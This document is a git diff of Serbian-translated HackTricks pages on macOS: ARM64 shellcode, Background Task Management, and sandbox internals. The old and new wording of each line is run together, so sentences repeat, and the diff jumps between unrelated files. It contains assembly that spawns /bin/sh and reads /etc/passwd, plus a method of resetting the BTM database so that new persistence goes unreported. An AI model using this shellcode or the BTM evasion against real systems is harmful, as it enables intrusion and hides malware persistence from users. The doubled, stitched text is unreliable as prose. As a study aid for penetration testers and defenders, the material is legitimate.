Osim toga, postavljanjem **`OBJC_HELP=1`** i pozivanjem bilo kog binarnog fajla možete videti druge okoline promenljive koje biste mogli koristiti za **zabeležavanje** kada se određene Objc-C akcije dese. Pored toga, postavljanjem **`OBJC_HELP=1`** i pozivanjem bilo kog binarnog fajla možete videti druge varijable okruženja koje možete koristiti da **log** kada se određene Objc-C akcije dešavaju.
{% endhint %} {% endhint %}
Kada je ova funkcija pozvana, potrebno je pronaći pozvanu metodu naznačene instance, za to se vrše različite pretrage: Kada se ova funkcija pozove, potrebno je pronaći pozvanu metodu označene instance, za to se vrše različite pretrage:
* Izvršiti optimističku pretragu keša: * Izvršiti optimističku pretragu u kešu:
* Ako je uspešno, završeno * Ako je uspešno, gotovo
* Steći runtimeLock (čitanje) * Zauzeti runtimeLock (čitanje)
* Ako (realizovati && !cls->realized) realizovati klasu * Ako (realize && !cls->realized) realizovati klasu
* Ako (inicijalizovati && !cls->initialized) inicijalizovati klasu * Ako (initialize && !cls->initialized) inicijalizovati klasu
* Pokušati sa kešom klase: * Pokušati keš klase:
* Ako je uspešno, završeno * Ako je uspešno, gotovo
* Pokušati sa listom metoda klase: * Pokušati listu metoda klase:
* Ako je pronađeno, popuniti keš i završeno * Ako je pronađeno, popuniti keš i gotovo
* Pokušati sa kešom nadklase: * Pokušati keš superklase:
* Ako je uspešno, završeno * Ako je uspešno, gotovo
* Pokušati sa listom metoda nadklase: * Pokušati listu metoda superklase:
* Ako je pronađeno, popuniti keš i završeno * Ako je pronađeno, popuniti keš i gotovo
* Ako (resolver) pokušati sa rešavačem metoda, i ponoviti od pretrage klase * Ako (resolver) pokušati metodu resolver, i ponoviti od pretrage klase
* Ako ste i dalje ovde (= sve ostalo nije uspelo) pokušati sa preusmerivačem * Ako ste još ovde (= sve ostalo je propalo) pokušati forwarder
### Shellkodovi ### Shellcodes
Za kompilaciju: Za kompajliranje:
```bash ```bash
as -o shell.o shell.s as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
@ -425,14 +424,14 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
# You could also use this # You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
``` ```
Da izvučemo bajtove: Da biste izvukli bajtove:
```bash ```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c echo -n '\\x'$c
done done
``` ```
Za novije macOS: За новије macOS:
```bash ```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@ -441,7 +440,7 @@ done
``` ```
<details> <details>
<summary>C kod za testiranje shell koda</summary> <summary>C kod za testiranje shellcode-a</summary>
```c ```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader // gcc loader.c -o loader
@ -558,7 +557,10 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
sh_path: .asciz "/bin/sh" sh_path: .asciz "/bin/sh"
``` ```
#### Čitanje pomoću cat {% endtab %}
{% endtabs %}
#### Čitaj sa cat
Cilj je izvršiti `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, tako da je drugi argument (x1) niz parametara (što u memoriji znači stek adresa). Cilj je izvršiti `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, tako da je drugi argument (x1) niz parametara (što u memoriji znači stek adresa).
```armasm ```armasm
@ -586,7 +588,7 @@ cat_path: .asciz "/bin/cat"
.align 2 .align 2
passwd_path: .asciz "/etc/passwd" passwd_path: .asciz "/etc/passwd"
``` ```
#### Pozovite komandu sa sh iz fork-a tako da glavni proces nije ubijen #### Pozovite komandu sa sh iz fork-a tako da glavni proces ne bude ubijen
```armasm ```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text .section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main .global _main ; Declare a global symbol _main
@ -784,16 +786,16 @@ mov x16, #59
svc #0x1337 svc #0x1337
``` ```
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte hakovanje AWS-a: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks obuka AWS Crveni Tim Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte hakovanje GCP-a: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks obuka GCP Crveni Tim Ekspert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Podržite HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,8 +1,8 @@
# macOS Security Protections # macOS Security Protections
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -27,6 +27,10 @@ Više informacija u:
## Processes Limitants ## Processes Limitants
### MACF
### SIP - System Integrity Protection ### SIP - System Integrity Protection
{% content-ref url="macos-sip.md" %} {% content-ref url="macos-sip.md" %}
@ -35,7 +39,7 @@ Više informacija u:
### Sandbox ### Sandbox
MacOS Sandbox **ograničava aplikacije** koje se izvršavaju unutar sandboxes na **dozvoljene radnje specificirane u Sandbox profilu** sa kojim aplikacija radi. Ovo pomaže da se osigura da **aplikacija pristupa samo očekivanim resursima**. MacOS Sandbox **ograničava aplikacije** koje se izvršavaju unutar sandboks-a na **dozvoljene radnje navedene u Sandbox profilu** sa kojim aplikacija radi. Ovo pomaže da se osigura da **aplikacija pristupa samo očekivanim resursima**.
{% content-ref url="macos-sandbox/" %} {% content-ref url="macos-sandbox/" %}
[macos-sandbox](macos-sandbox/) [macos-sandbox](macos-sandbox/)
@ -43,7 +47,7 @@ MacOS Sandbox **ograničava aplikacije** koje se izvršavaju unutar sandboxes na
### TCC - **Transparency, Consent, and Control** ### TCC - **Transparency, Consent, and Control**
**TCC (Transparency, Consent, and Control)** je sigurnosni okvir. Dizajniran je da **upravlja dozvolama** aplikacija, posebno regulisanjem njihovog pristupa osetljivim funkcijama. Ovo uključuje elemente kao što su **usluge lokacije, kontakti, fotografije, mikrofon, kamera, pristupačnost i pristup celom disku**. TCC osigurava da aplikacije mogu pristupiti ovim funkcijama samo nakon dobijanja eksplicitne saglasnosti korisnika, čime se jača privatnost i kontrola nad ličnim podacima. **TCC (Transparency, Consent, and Control)** je sigurnosni okvir. Dizajniran je da **upravlja dozvolama** aplikacija, posebno regulisanjem njihovog pristupa osetljivim funkcijama. Ovo uključuje elemente kao što su **usluge lokacije, kontakti, fotografije, mikrofon, kamera, pristupačnost i pristup celom disku**. TCC osigurava da aplikacije mogu pristupiti ovim funkcijama samo nakon dobijanja izričitog pristanka korisnika, čime se jača privatnost i kontrola nad ličnim podacima.
{% content-ref url="macos-tcc/" %} {% content-ref url="macos-tcc/" %}
[macos-tcc](macos-tcc/) [macos-tcc](macos-tcc/)
@ -51,7 +55,7 @@ MacOS Sandbox **ograničava aplikacije** koje se izvršavaju unutar sandboxes na
### Launch/Environment Constraints & Trust Cache ### Launch/Environment Constraints & Trust Cache
Ograničenja pokretanja u macOS-u su sigurnosna funkcija koja **reguliše inicijaciju procesa** definišući **ko može pokrenuti** proces, **kako** i **odakle**. Uvedena u macOS Ventura, kategorizuju sistemske binarne datoteke u kategorije ograničenja unutar **trust cache**. Svaka izvršna binarna datoteka ima postavljena **pravila** za svoje **pokretanje**, uključujući **self**, **parent** i **responsible** ograničenja. Proširena na aplikacije trećih strana kao **Environment** Constraints u macOS Sonoma, ove funkcije pomažu u ublažavanju potencijalnih sistemskih eksploatacija regulisanjem uslova pokretanja procesa. Ograničenja pokretanja u macOS-u su sigurnosna funkcija koja **reguliše inicijaciju procesa** definišući **ko može pokrenuti** proces, **kako** i **odakle**. Uvedena u macOS Ventura, klasifikuju sistemske binarne datoteke u kategorije ograničenja unutar **trust cache**. Svaka izvršna binarna datoteka ima postavljena **pravila** za svoje **pokretanje**, uključujući **self**, **parent** i **responsible** ograničenja. Proširena na aplikacije trećih strana kao **Environment** Constraints u macOS Sonoma, ove funkcije pomažu u ublažavanju potencijalnih sistemskih eksploatacija regulisanjem uslova pokretanja procesa.
{% content-ref url="macos-launch-environment-constraints.md" %} {% content-ref url="macos-launch-environment-constraints.md" %}
[macos-launch-environment-constraints.md](macos-launch-environment-constraints.md) [macos-launch-environment-constraints.md](macos-launch-environment-constraints.md)
@ -76,7 +80,7 @@ Aplikacija MRT se nalazi u **`/Library/Apple/System/Library/CoreServices/MRT.app
<figure><img src="../../../.gitbook/assets/image (1183).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1183).png" alt=""><figcaption></figcaption></figure>
Ovo se pokreće sa **daemon**-om lociranim u `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` i **agentom** u `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app` Ovo se pokreće sa **daemon-om** lociranim u `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` i **agentom** u `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`
Način na koji **`backgroundtaskmanagementd`** zna da je nešto instalirano u persistentnom folderu je **dobijanje FSEvents** i kreiranje nekih **handler-a** za njih. Način na koji **`backgroundtaskmanagementd`** zna da je nešto instalirano u persistentnom folderu je **dobijanje FSEvents** i kreiranje nekih **handler-a** za njih.
@ -112,11 +116,11 @@ xattr -rc dumpBTM # Remove quarantine attr
``` ```
Ove informacije se čuvaju u **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** i Terminalu je potrebna FDA. Ove informacije se čuvaju u **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** i Terminalu je potrebna FDA.
### Mešanje sa BTM ### Manipulacija sa BTM
Kada se pronađe nova perzistencija, događa se događaj tipa **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Dakle, bilo koji način da se **spreči** slanje ovog **događaja** ili da **agent ne obavesti** korisnika će pomoći napadaču da _**zaobiđe**_ BTM. Kada se pronađe nova perzistencija, događa se događaj tipa **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Dakle, bilo koji način da se **spreči** slanje ovog **događaja** ili da **agent ne obavesti** korisnika će pomoći napadaču da _**zaobiđe**_ BTM.
* **Resetovanje baze podataka**: Pokretanje sledeće komande će resetovati bazu podataka (trebalo bi da je ponovo izgradi od nule), međutim, iz nekog razloga, nakon pokretanja ovoga, **nema novih perzistencija koje će biti obaveštene dok se sistem ne restartuje**. * **Resetovanje baze podataka**: Pokretanje sledeće komande će resetovati bazu podataka (trebalo bi da je ponovo izgradi od nule), međutim, iz nekog razloga, nakon pokretanja ovoga, **nema nove perzistencije koja će biti obaveštena dok se sistem ne restartuje**.
* **root** je potreban. * **root** je potreban.
```bash ```bash
# Reset the database # Reset the database
@ -142,9 +146,10 @@ Reference i **više informacija o BTM**:
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481) * [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr) * [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
* [https://support.apple.com/en-gb/guide/deployment/depdca572563/web](https://support.apple.com/en-gb/guide/deployment/depdca572563/web) * [https://support.apple.com/en-gb/guide/deployment/depdca572563/web](https://support.apple.com/en-gb/guide/deployment/depdca572563/web)
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -156,4 +161,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
</details>

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/grte.png" al
## Basic Information ## Basic Information
MacOS Sandbox (prvobitno nazvan Seatbelt) **ograničava aplikacije** koje se izvršavaju unutar sandboxes-a na **dozvoljene radnje specificirane u Sandbox profilu** sa kojim aplikacija radi. Ovo pomaže da se osigura da **aplikacija pristupa samo očekivanim resursima**. MacOS Sandbox (prvobitno nazvan Seatbelt) **ograničava aplikacije** koje se izvršavaju unutar sandboxes na **dozvoljene radnje specificirane u Sandbox profilu** sa kojim aplikacija radi. Ovo pomaže da se osigura da **aplikacija pristupa samo očekivanim resursima**.
Svaka aplikacija sa **entitlement** **`com.apple.security.app-sandbox`** će biti izvršena unutar sandboxes-a. **Apple binarni** obično se izvršavaju unutar Sandbox-a, a sve aplikacije iz **App Store-a imaju tu dozvolu**. Tako će nekoliko aplikacija biti izvršeno unutar sandboxes-a. Svaka aplikacija sa **entitlement** **`com.apple.security.app-sandbox`** će biti izvršena unutar sandboxes. **Apple binarni** programi se obično izvršavaju unutar Sandbox-a, a sve aplikacije iz **App Store-a imaju tu dozvolu**. Tako će nekoliko aplikacija biti izvršeno unutar sandboxes.
Da bi kontrolisao šta proces može ili ne može da radi, **Sandbox ima hook-ove** u skoro svakoj operaciji koju proces može pokušati (uključujući većinu syscalls) koristeći **MACF**. Međutim, **zavisno** od **entitlements** aplikacije, Sandbox može biti permisivniji prema procesu. Da bi kontrolisao šta proces može ili ne može da radi, **Sandbox ima hook-ove** u skoro svakoj operaciji koju proces može pokušati (uključujući većinu syscalls) koristeći **MACF**. Međutim, **zavisno** od **entitlements** aplikacije, Sandbox može biti permisivniji prema procesu.
@ -32,7 +32,7 @@ Neki važni sastavni delovi Sandbox-a su:
### Containers ### Containers
Svaka aplikacija u sandbox-u će imati svoj vlastiti kontejner u `~/Library/Containers/{CFBundleIdentifier}` : Svaka sandboxovana aplikacija će imati svoj vlastiti kontejner u `~/Library/Containers/{CFBundleIdentifier}` :
```bash ```bash
ls -l ~/Library/Containers ls -l ~/Library/Containers
total 0 total 0
@ -151,19 +151,19 @@ Proverite ovo [**istraživanje**](https://reverse.put.as/2011/09/14/apple-sandbo
Imajte na umu da su u kompajliranoj verziji profila imena operacija zamenjena njihovim unosima u nizu poznatom dylib-u i kext-u, što čini kompajliranu verziju kraćom i teže čitljivom. Imajte na umu da su u kompajliranoj verziji profila imena operacija zamenjena njihovim unosima u nizu poznatom dylib-u i kext-u, što čini kompajliranu verziju kraćom i teže čitljivom.
{% endhint %} {% endhint %}
Važne **sistemske usluge** takođe rade unutar svojih prilagođenih **sandbox-a**, kao što je usluga `mdnsresponder`. Možete pregledati ove prilagođene **sandbox profile** unutar: Važne **sistemske usluge** takođe rade unutar svojih prilagođenih **sandbox-a** kao što je usluga `mdnsresponder`. Možete pregledati ove prilagođene **sandbox profile** unutar:
* **`/usr/share/sandbox`** * **`/usr/share/sandbox`**
* **`/System/Library/Sandbox/Profiles`** * **`/System/Library/Sandbox/Profiles`**
* Ostale sandbox profile možete proveriti na [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). * Ostale sandbox profile možete proveriti na [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
**App Store** aplikacije koriste **profil** **`/System/Library/Sandbox/Profiles/application.sb`**. Možete proveriti u ovom profilu kako ovlašćenja kao što je **`com.apple.security.network.server`** omogućavaju procesu da koristi mrežu. **App Store** aplikacije koriste **profil** **`/System/Library/Sandbox/Profiles/application.sb`**. Možete proveriti u ovom profilu kako privilegije kao što je **`com.apple.security.network.server`** omogućavaju procesu da koristi mrežu.
SIP je Sandbox profil nazvan platform\_profile u /System/Library/Sandbox/rootless.conf SIP je Sandbox profil nazvan platform\_profile u /System/Library/Sandbox/rootless.conf
### Primeri Sandbox Profila ### Primeri Sandbox Profila
Da biste pokrenuli aplikaciju sa **specifičnim sandbox profilom**, možete koristiti: Da biste pokrenuli aplikaciju sa **specifičnim sandbox profilom** možete koristiti:
```bash ```bash
sandbox-exec -f example.sb /Path/To/The/Application sandbox-exec -f example.sb /Path/To/The/Application
``` ```
@ -230,7 +230,7 @@ Primeri zaobilaženja:
#### Putem profila #### Putem profila
Moguće je pratiti sve provere koje sandbox obavlja svaki put kada se proverava neka radnja. Za to jednostavno kreirajte sledeći profil: Moguće je pratiti sve provere koje sandbox obavlja svaki put kada se akcija proverava. Za to jednostavno kreirajte sledeći profil:
{% code title="trace.sb" %} {% code title="trace.sb" %}
```scheme ```scheme
@ -250,7 +250,7 @@ Takođe je moguće pratiti sandbox koristeći **`-t`** parametar: `sandbox-exec
#### Putem API-ja #### Putem API-ja
Funkcija `sandbox_set_trace_path` koju izlaže `libsystem_sandbox.dylib` omogućava da se odredi ime datoteke za praćenje u koju će se zapisivati provere sandboxes.\ Funkcija `sandbox_set_trace_path` koju izlaže `libsystem_sandbox.dylib` omogućava da se odredi ime datoteke za praćenje u koju će se zapisivati provere sandboxes.\
Takođe je moguće uraditi nešto slično pozivajući `sandbox_vtrace_enable()` i zatim dobijajući logove grešaka iz bafera pozivajući `sandbox_vtrace_report()`. Takođe je moguće uraditi nešto slično pozivom `sandbox_vtrace_enable()` i zatim dobiti logove grešaka iz bafera pozivom `sandbox_vtrace_report()`.
### Inspekcija Sandboxes ### Inspekcija Sandboxes
@ -284,7 +284,7 @@ Ovo će **evalirati string nakon ovog prava** kao Sandbox profil.
Ova obrnuta i [**open sourced verzija alata sandbox-exec**](https://newosxbook.com/src.jl?tree=listings\&file=/sandbox\_exec.c) omogućava da **`sandbox-exec`** piše u datoteku kompajlirani sandbox profil. Ova obrnuta i [**open sourced verzija alata sandbox-exec**](https://newosxbook.com/src.jl?tree=listings\&file=/sandbox\_exec.c) omogućava da **`sandbox-exec`** piše u datoteku kompajlirani sandbox profil.
Pored toga, da bi se proces ograničio unutar kontejnera, može pozvati `sandbox_spawnattrs_set[container/profilename]` i proslediti kontejner ili prethodno postojeći profil. Pored toga, da bi se proces zatvorio unutar kontejnera, može pozvati `sandbox_spawnattrs_set[container/profilename]` i proslediti kontejner ili prethodno postojeći profil.
## Debug & Bypass Sandbox ## Debug & Bypass Sandbox
@ -319,7 +319,7 @@ Napomena da su ekstenzije veoma povezane sa pravima, tako da posedovanje određe
[**Prema ovome**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** funkcije (to je `__mac_syscall`), mogu proveriti **da li je operacija dozvoljena ili ne** od strane sandbox-a u određenom PID-u, audit tokenu ili jedinstvenom ID-u. [**Prema ovome**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** funkcije (to je `__mac_syscall`), mogu proveriti **da li je operacija dozvoljena ili ne** od strane sandbox-a u određenom PID-u, audit tokenu ili jedinstvenom ID-u.
[**alat sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) (pronađite ga [kompajliran ovde](https://newosxbook.com/articles/hitsb.html)) može proveriti da li PID može izvršiti određene akcije: [**Alat sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) (pronađite ga [kompajliran ovde](https://newosxbook.com/articles/hitsb.html)) može proveriti da li PID može izvršiti određene akcije:
```bash ```bash
sbtool <pid> mach #Check mac-ports (got from launchd with an api) sbtool <pid> mach #Check mac-ports (got from launchd with an api)
sbtool <pid> file /tmp #Check file access sbtool <pid> file /tmp #Check file access
@ -330,7 +330,7 @@ sbtool <pid> all
Takođe je moguće suspendovati i ponovo aktivirati sandbox koristeći funkcije `sandbox_suspend` i `sandbox_unsuspend` iz `libsystem_sandbox.dylib`. Takođe je moguće suspendovati i ponovo aktivirati sandbox koristeći funkcije `sandbox_suspend` i `sandbox_unsuspend` iz `libsystem_sandbox.dylib`.
Napomena: Da bi se pozvala funkcija suspend, proveravaju se neka prava kako bi se autorizovao pozivalac da je pozove, kao što su: Napomena: da bi se pozvala funkcija suspend, proveravaju se neka prava kako bi se autorizovao pozivalac da je pozove, kao što su:
* com.apple.private.security.sandbox-manager * com.apple.private.security.sandbox-manager
* com.apple.security.print * com.apple.security.print
@ -351,7 +351,7 @@ Funkcija `___sandbox_ms` obavija `mac_syscall` označavajući u prvom argumentu
* **extension\_consume (#6)**: Potroši zadatu ekstenziju. * **extension\_consume (#6)**: Potroši zadatu ekstenziju.
* **extension\_release (#7)**: Oslobađa memoriju vezanu za potrošenu ekstenziju. * **extension\_release (#7)**: Oslobađa memoriju vezanu za potrošenu ekstenziju.
* **extension\_update\_file (#8)**: Menja parametre postojeće ekstenzije datoteke unutar sandboxa. * **extension\_update\_file (#8)**: Menja parametre postojeće ekstenzije datoteke unutar sandboxa.
* **extension\_twiddle (#9)**: Prilagođava ili menja postojeću ekstenziju datoteke (npr., TextEdit, rtf, rtfd). * **extension\_twiddle (#9)**: Prilagođava ili menja postojeću ekstenziju datoteke (npr. TextEdit, rtf, rtfd).
* **suspend (#10)**: Privremeno suspenduje sve sandbox provere (zahteva odgovarajuća prava). * **suspend (#10)**: Privremeno suspenduje sve sandbox provere (zahteva odgovarajuća prava).
* **unsuspend (#11)**: Nastavlja sve prethodno suspendovane sandbox provere. * **unsuspend (#11)**: Nastavlja sve prethodno suspendovane sandbox provere.
* **passthrough\_access (#12)**: Omogućava direktan pristup resursu, zaobilazeći sandbox provere. * **passthrough\_access (#12)**: Omogućava direktan pristup resursu, zaobilazeći sandbox provere.
@ -361,7 +361,7 @@ Funkcija `___sandbox_ms` obavija `mac_syscall` označavajući u prvom argumentu
* **inspect (#16)**: Pruža informacije za debagovanje o sandboxovanom procesu. * **inspect (#16)**: Pruža informacije za debagovanje o sandboxovanom procesu.
* **dump (#18)**: (macOS 11) Dumpuje trenutni profil sandboxa za analizu. * **dump (#18)**: (macOS 11) Dumpuje trenutni profil sandboxa za analizu.
* **vtrace (#19)**: Prati sandbox operacije za monitoring ili debagovanje. * **vtrace (#19)**: Prati sandbox operacije za monitoring ili debagovanje.
* **builtin\_profile\_deactivate (#20)**: (macOS < 11) Deaktivira imenovane profile (npr., `pe_i_can_has_debugger`). * **builtin\_profile\_deactivate (#20)**: (macOS < 11) Deaktivira imenovane profile (npr. `pe_i_can_has_debugger`).
* **check\_bulk (#21)**: Izvršava više `sandbox_check` operacija u jednom pozivu. * **check\_bulk (#21)**: Izvršava više `sandbox_check` operacija u jednom pozivu.
* **reference\_retain\_by\_audit\_token (#28)**: Kreira referencu za audit token za korišćenje u sandbox proverama. * **reference\_retain\_by\_audit\_token (#28)**: Kreira referencu za audit token za korišćenje u sandbox proverama.
* **reference\_release (#29)**: Oslobađa prethodno zadržanu referencu audit tokena. * **reference\_release (#29)**: Oslobađa prethodno zadržanu referencu audit tokena.
@ -373,25 +373,25 @@ Funkcija `___sandbox_ms` obavija `mac_syscall` označavajući u prvom argumentu
## Sandbox.kext ## Sandbox.kext
Napomena: U iOS-u, kernel ekstenzija sadrži **hardkodirane sve profile** unutar `__TEXT.__const` segmenta kako bi se izbegle izmene. Sledeće su neke zanimljive funkcije iz kernel ekstenzije: Napomena: u iOS, kernel ekstenzija sadrži **hardkodirane sve profile** unutar `__TEXT.__const` segmenta kako bi se izbegle izmene. Sledeće su neke zanimljive funkcije iz kernel ekstenzije:
* **`hook_policy_init`**: Hook-uje `mpo_policy_init` i poziva se nakon `mac_policy_register`. Izvršava većinu inicijalizacija Sandbox-a. Takođe inicijalizuje SIP. * **`hook_policy_init`**: Hookuje `mpo_policy_init` i poziva se nakon `mac_policy_register`. Izvršava većinu inicijalizacija Sandboxa. Takođe inicijalizuje SIP.
* **`hook_policy_initbsd`**: Postavlja sysctl interfejs registrujući `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` i `security.mac.sandbox.debug_mode` (ako je bootovan sa `PE_i_can_has_debugger`). * **`hook_policy_initbsd`**: Postavlja sysctl interfejs registrujući `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` i `security.mac.sandbox.debug_mode` (ako je bootovan sa `PE_i_can_has_debugger`).
* **`hook_policy_syscall`**: Poziva se od strane `mac_syscall` sa "Sandbox" kao prvim argumentom i kodom koji označava operaciju u drugom. Koristi se switch za pronalaženje koda koji treba izvršiti prema traženom kodu. * **`hook_policy_syscall`**: Poziva se od strane `mac_syscall` sa "Sandbox" kao prvim argumentom i kodom koji označava operaciju u drugom. Koristi se switch za pronalaženje koda koji treba izvršiti prema traženom kodu.
### MACF Hooks ### MACF Hooks
